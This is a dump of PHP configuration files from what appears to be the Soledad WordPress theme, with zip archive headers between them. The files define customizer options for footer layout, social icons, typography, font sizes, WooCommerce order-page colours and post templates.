		'instagram-widgets-footersocial-signupform' => __( 'Instagram - Widgets Area - Social Icons - SignUp Form', 'soledad' ),
		'instagram-footersocial-widgets-signupform' => __( 'Instagram - Social Icons - Widgets Area - SignUp Form', 'soledad' ),
		'instagram-footersocial-signupform-widgets' => __( 'Instagram - Social Icons - SignUp Form - Widgets Area', 'soledad' ),
		'instagram-signupform-footersocial-widgets' => __( 'Instagram - SignUp Form - Social Icons - Widgets Area', 'soledad' ),
		'instagram-signupform-widgets-footersocial' => __( 'Instagram - SignUp Form - Widgets Area - Social Icons', 'soledad' ),
		'signupform-widgets-footersocial-instagram' => __( 'SignUp Form - Widgets Area - Social Icons - Instagram', 'soledad' ),
		'signupform-widgets-instagram-footersocial' => __( 'SignUp Form - Widgets Area - Instagram - Social Icons', 'soledad' ),
		'signupform-footersocial-widgets-instagram' => __( 'SignUp Form - Social Icons - Widgets Area - Instagram', 'soledad' ),
		'signupform-footersocial-instagram-widgets' => __( 'SignUp Form - Social Icons - Instagram - Widgets Area', 'soledad' ),
		'signupform-instagram-widgets-footersocial' => __( 'SignUp Form - Instagram - Widgets Area - Social Icons', 'soledad' ),
		'signupform-instagram-footersocial-widgets' => __( 'SignUp Form - Instagram - Social Icons - Widgets Area', 'soledad' ),
		'footersocial-widgets-instagram-signupform' => __( 'Social Icons - Widgets Area - Instagram - SignUp Form', 'soledad' ),
		'footersocial-widgets-signupform-instagram' => __( 'Social Icons - Widgets Area - SignUp Form - Instagram', 'soledad' ),
		'footersocial-instagram-signupform-widgets' => __( 'Social Icons - Instagram - SignUp Form - Widgets Area', 'soledad' ),
		'footersocial-instagram-widgets-signupform' => __( 'Social Icons - Instagram - Widgets Area - SignUp Form', 'soledad' ),
		'footersocial-signupform-widgets-instagram' => __( 'Social Icons - SignUp Form - Widgets Area - Instagram', 'soledad' ),
		'footersocial-signupform-instagram-widgets' => __( 'Social Icons - SignUp Form - Instagram - Widgets Area', 'soledad' ),
	),
	'default'  => 'widgets-instagram-signupform-footersocial',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Enable Footer Content Delayed', 'soledad' ),
	'description' => __( 'This option doesn\'t work with the Footer Builder from Elementor itself.', 'soledad' ),
	'id'          => 'penci_footer_delayed',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Border Around Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social_around',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Use Brand Colors for Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_brand_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Border Radius on Border of Social Icons', 'soledad' ),
	'id'       => 'penci_footer_disable_radius_social',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_remove_text',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Make Footer Social Text Drop In New Line', 'soledad' ),
	'id'       => 'penci_footer_social_drop_line',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Icons on Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_social_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_social_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Uppercase on Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_lowercase',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Social Icons Text', 'soledad' ),
	'id'       => 'penci_footer_social_text_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_social_text_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Footer Logo', 'soledad' ),
	'section'  => 'penci_section_footer_general',
	'id'       => 'penci_hide_footer_logo',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Footer Logo', 'soledad' ),
	'section'  => 'penci_section_footer_general',
	'id'       => 'penci_footer_logo',
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_mwlogo_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Set A Max-Width for Footer Logo', 'soledad' ),
	'id'       => 'penci_footer_mwlogo',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_footer_mwlogo',
		'mobile'  => 'penci_footer_mwlogo_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => __( 'Custom Link for Footer Logo Image', 'soledad' ),
	'id'          => 'penci_custom_url_logo_footer',
	'description' => __( 'By default, footer logo image will link to homepage url. If you want to link the footer logo for another URL - fill here. Include http:// or https:// on the link', 'soledad' ),
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Go To Top Style', 'soledad' ),
	'id'       => 'penci_go_to_top_style',
	'type'     => 'soledad-fw-select',
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'style-1' => esc_html__( 'Style 1', 'soledad' ),
		'style-2' => esc_html__( 'Style 2', 'soledad' ),
		'style-3' => esc_html__( 'Style 3', 'soledad' ),
	)
);
$options[] = array(
	'label'    => __( 'Disable Go To Top Button on Footer', 'soledad' ),
	'id'       => 'penci_go_to_top',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Go To Top Button Floating on The Bottom Right', 'soledad' ),
	'id'       => 'penci_go_to_top_floating',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Footer Menu', 'soledad' ),
	'id'          => 'penci_footer_menu',
	'description' => __( 'You can setup your footer menu by go to admin > Appearance > Menus > Create/Select your menu > scroll down and check to "Footer Menu" at the bottom.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Menu', 'soledad' ),
	'id'       => 'penci_footer_menu_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_menu_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright',
	'type'     => 'soledad-fw-textarea',
	'default'  => __( '@2020 - All Right Reserved. Designed and Developed by <a class="wp-customizer-link" rel="nofollow" href="https://1.envato.market/YYJ4P" target="_blank">PenciDesign</a>', 'soledad' ),
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'Disable Italic on Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_remove_italic',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_size',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_copyright_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'     => __( 'Add Custom HTML code before close </body> tag / Google Analytics Code', 'soledad' ),
	'id'        => 'penci_footer_analytics',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field'
);

return $options;
PK     N\V    M  inc/customizer/config/sections/penci_section_spost_cptype_builder_section.phpnu [        <?php
$options = [];

$post_types = penci_get_published_posttypes();
if ( is_array( $post_types ) && ! empty( $post_types ) ) {
	$single_layout     = [];
	$single_layout[''] = esc_attr__( 'None' );
	$single_layouts    = get_posts( [
		'post_type'      => 'custom-post-template',
		'posts_per_page' => - 1,
		'meta_query'     => array(
			'relation' => 'OR',
			array(
				'key'     => 'penci_desktop_page_id',
				'compare' => 'NOT EXISTS',
			),
			array(
				'key'     => 'penci_desktop_page_id',
				'value'   => '',
				'compare' => '=',
			),
		),
	] );
	foreach ( $single_layouts as $slayout ) {
		$single_layout[ $slayout->post_name ] = $slayout->post_title;
	}

	foreach ( $post_types as $type ) {

		$type_data = get_post_type_object( $type );

		$options[] = array(
			'default'     => '',
			'description' => __( 'This option will override the pre-build Single  ' . $type_data->label . ' Template. You can add new and edit a builder template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>.', 'soledad' ),
			'sanitize'    => 'penci_sanitize_choices_field',
			'label'       => __( 'Custom Single ' . $type_data->label . ' Template', 'soledad' ),
			'id'          => 'penci_' . $type . '_custom_template',
			'type'        => 'soledad-fw-select',
			'choices'     => $single_layout
		);
	}

} else {
	$options[] = array(
		'default'     => 'notice',
		'description' => '',
		'label'       => __( 'Your website doesn\'t have any custom post types that need to be built.', 'soledad' ),
		'id'          => 'penci_custom_template_notice',
		'type'        => 'soledad-fw-alert',
	);
}

return $options;
PK     N\<tsS  S  N  inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_woo_checkout_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Heading Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'General Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_icon_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sucess Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_icon_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sucess Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_success_thankyou_text',
	'default'   => 'Thank you. Your order has been received.',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Thankyou Text', 'soledad' ),
	'type'      => 'soledad-fw-textarea',
);

return $options;
PK     N\!    I  inc/customizer/config/sections/pencidesign_general_typography_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label' => __( 'General Typography Settings', 'soledad' ),
	'id'    => 'penci_font_heading_titles',
	'type'  => 'soledad-fw-header',
);

$options[] = array(
	'label'       => __( 'Font For Heading Titles', 'soledad' ),
	'id'          => 'penci_font_for_title',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts(),
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font For Heading Titles on Mobile', 'soledad' ),
	'id'       => 'penci_font_for_title_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => penci_all_fonts(),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font Weight For Heading Titles', 'soledad' ),
	'id'       => 'penci_font_weight_title',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''        => __( '- Select -', 'soledad' ),
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'label'       => __( 'Font For Body Text', 'soledad' ),
	'id'          => 'penci_font_for_body',
	'description' => __( 'Default font is "PT Serif"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts(),
	'default'     => '"PT Serif", "regular:italic:700:700italic", serif',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font For Body Text on Mobile', 'soledad' ),
	'id'       => 'penci_font_for_body_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => penci_all_fonts(),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Font Weight For Body Text', 'soledad' ),
	'id'       => 'penci_font_weight_bodytext',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''        => __( '- Select -', 'soledad' ),
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_font_mfor_size_body',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '14',
);
$options[] = array(
	'label'    => __( 'General Font Size for Text', 'soledad' ),
	'id'       => 'penci_font_for_size_body',
	'type'     => 'soledad-fw-size',
	'default'  => '14',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_font_for_size_body',
		'mobile'  => 'penci_font_mfor_size_body',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'General Line Height for Text', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_body_line_height',
	'default'  => '1.8',
	'sanitize' => 'penci_sanitize_decimal_empty_field',
	'ids'      => array(
		'desktop' => 'penci_body_line_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '1.8',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_archive_mobile_fpagetitle',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '16',
);
$options[] = array(
	'label'       => __( 'Font Size for Archive Page Title', 'soledad' ),
	'description' => __( 'Apply for Category Page Title, Tag Page Title, Search Page Title, Archive Page Title - check more on <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/archive-page-title.png" target="_blank">this image</a>', 'soledad' ),
	'id'          => 'penci_archive_fpagetitle',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'default'     => '24',
	'ids'         => array(
		'desktop' => 'penci_archive_fpagetitle',
		'mobile'  => 'penci_archive_mobile_fpagetitle',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'label'    => __( 'Disable Uppercase on Archive Page Title', 'soledad' ),
	'id'       => 'penci_archive_uppagetitle',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'id'       => 'penci_body_breadcrumbs',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Breadcrumbs', 'soledad' ),
	'default'  => '13',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_body_breadcrumbs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for "Load More Posts" & Pagination Button', 'soledad' ),
	'id'       => 'penci_home_loadmore_size',
	'type'     => 'soledad-fw-size',
	'default'  => '12',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_home_loadmore_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);

$options[] = array(
	'label' => __( 'Advanced Typography Settings', 'soledad' ),
	'id'    => 'penci_font_advanced_typography',
	'type'  => 'soledad-fw-header',
);

for ( $i = 1; $i <= 6; $i ++ ) {
	$options[] = array(
		'label'    => '',
		'id'       => 'penci_font_gh' . $i . '_mfont_size',
		'type'     => 'soledad-fw-hidden',
		'sanitize' => 'absint',
		'default'  => '',
	);
	$options[] = array(
		'label'    => __( 'H' . $i . ' Font Size', 'soledad' ),
		'id'       => 'penci_font_gh' . $i . '_font_size',
		'type'     => 'soledad-fw-size',
		'sanitize' => 'absint',
		'default'  => '',
		'ids'      => array(
			'desktop' => 'penci_font_gh' . $i . '_font_size',
			'mobile'  => 'penci_font_gh' . $i . '_mfont_size',
		),
		'choices'  => array(
			'desktop' => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => '',
			),
			'mobile'  => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => '',
			),
		),
	);
}

return $options;
PK     N\U
  
  J  inc/customizer/config/sections/pencidesign_posts_page_settings_section.phpnu [        <?php
$options = [];

$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Page ( Blog ) Template', 'soledad' ),
	'id'       => 'penci_blogpage_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                 => __( 'Follow Homepage Setting', 'soledad' ),
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'magazine-1'       => __( 'Magazine Style 1', 'soledad' ),
		'magazine-2'       => __( 'Magazine Style 2', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	)
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Stop Overwrite Post Page Template', 'soledad' ),
	'description' => __( 'keep the same content as the page assigned is Posts Page', 'soledad' ),
	'id'          => 'penci_overwrite_post_page',
	'type'        => 'soledad-fw-toggle',
);

return $options;PK     N\yNkR  kR  G  inc/customizer/config/sections/penci_section_spost_fontsize_section.phpnu [        <?php
$options                = [];
$options[]              = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories', 'soledad' ),
	'id'       => 'penci_single_cat_font_size',
	'ids'      => array(
		'desktop' => 'penci_single_cat_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]              = array(
	'id'       => 'penci_single_title_font_msize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[]              = array(
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_single_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '30',
	'ids'      => array(
		'desktop' => 'penci_single_title_font_size',
		'mobile'  => 'penci_single_title_font_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '30',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]              = array(
	'label'    => '',
	'id'       => 'penci_single_subtitle_font_msize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[]              = array(
	'label'    => __( 'Font Size for SubTitle', 'soledad' ),
	'id'       => 'penci_single_subtitle_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_single_subtitle_font_size',
		'mobile'  => 'penci_single_subtitle_font_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$opt_single_title_fsize = array(
	'psingle_title_size_s3'  => esc_html__( 'Font Size for Post Title on Style 3', 'soledad' ),
	'psingle_title_size_s4'  => esc_html__( 'Font Size for Post Title on Style 4', 'soledad' ),
	'psingle_title_size_s5'  => esc_html__( 'Font Size for Post Title on Style 5', 'soledad' ),
	'psingle_title_size_s6'  => esc_html__( 'Font Size for Post Title on Style 6', 'soledad' ),
	'psingle_title_size_s7'  => esc_html__( 'Font Size for Post Title on Style 7', 'soledad' ),
	'psingle_title_size_s8'  => esc_html__( 'Font Size for Post Title on Style 8', 'soledad' ),
	'psingle_title_size_s9'  => esc_html__( 'Font Size for Post Title on Style 9', 'soledad' ),
	'psingle_title_size_s10' => esc_html__( 'Font Size for Post Title on Style 10', 'soledad' ),
);
foreach ( $opt_single_title_fsize as $opt_single_title_fsize_id => $opt_single_title_fsize_label ) {
	$options[] = array(
		'default'  => '',
		'sanitize' => 'absint',
		'label'    => '',
		'id'       => $opt_single_title_fsize_id . '_mobile',
		'type'     => 'soledad-fw-hidden',
	);
	$options[] = array(
		'default'  => '',
		'sanitize' => 'absint',
		'label'    => __( $opt_single_title_fsize_label, 'soledad' ),
		'id'       => $opt_single_title_fsize_id,
		'ids'      => [
			'desktop' => $opt_single_title_fsize_id,
			'mobile'  => $opt_single_title_fsize_id . '_mobile',
		],
		'type'     => 'soledad-fw-size',
		'choices'  => array(
			'desktop' => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
			'mobile'  => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
		),
	);
}
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_single_meta_font_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_meta_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 300,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
for ( $x = 1; $x < 7; $x ++ ) {
	$default   = 26 - ( $x * 2 );
	$options[] = array(
		'label'       => '',
		'description' => '',
		'id'          => 'penci_single_title_h' . $x . '_size_mobile',
		'type'        => 'soledad-fw-hidden',
		'sanitize'    => 'absint',
	);
	$options[] = array(
		'label'    => __( 'Font Size for H' . $x . ' inside Post Content', 'soledad' ),
		'id'       => 'penci_single_title_h' . $x . '_size',
		'type'     => 'soledad-fw-size',
		'sanitize' => 'absint',
		'default'  => $default,
		'ids'      => array(
			'desktop' => 'penci_single_title_h' . $x . '_size',
			'mobile'  => 'penci_single_title_h' . $x . '_size_mobile',
		),
		'choices'  => array(
			'desktop' => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => $default,
			),
			'mobile'  => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
		),
	);
}
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_single_title_p_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size Text Inside Post Content', 'soledad' ),
	'id'       => 'penci_single_title_p_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_single_title_p_size',
		'mobile'  => 'penci_single_title_p_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Blockquote', 'soledad' ),
	'id'       => 'penci_single_blockquote_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_blockquote_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
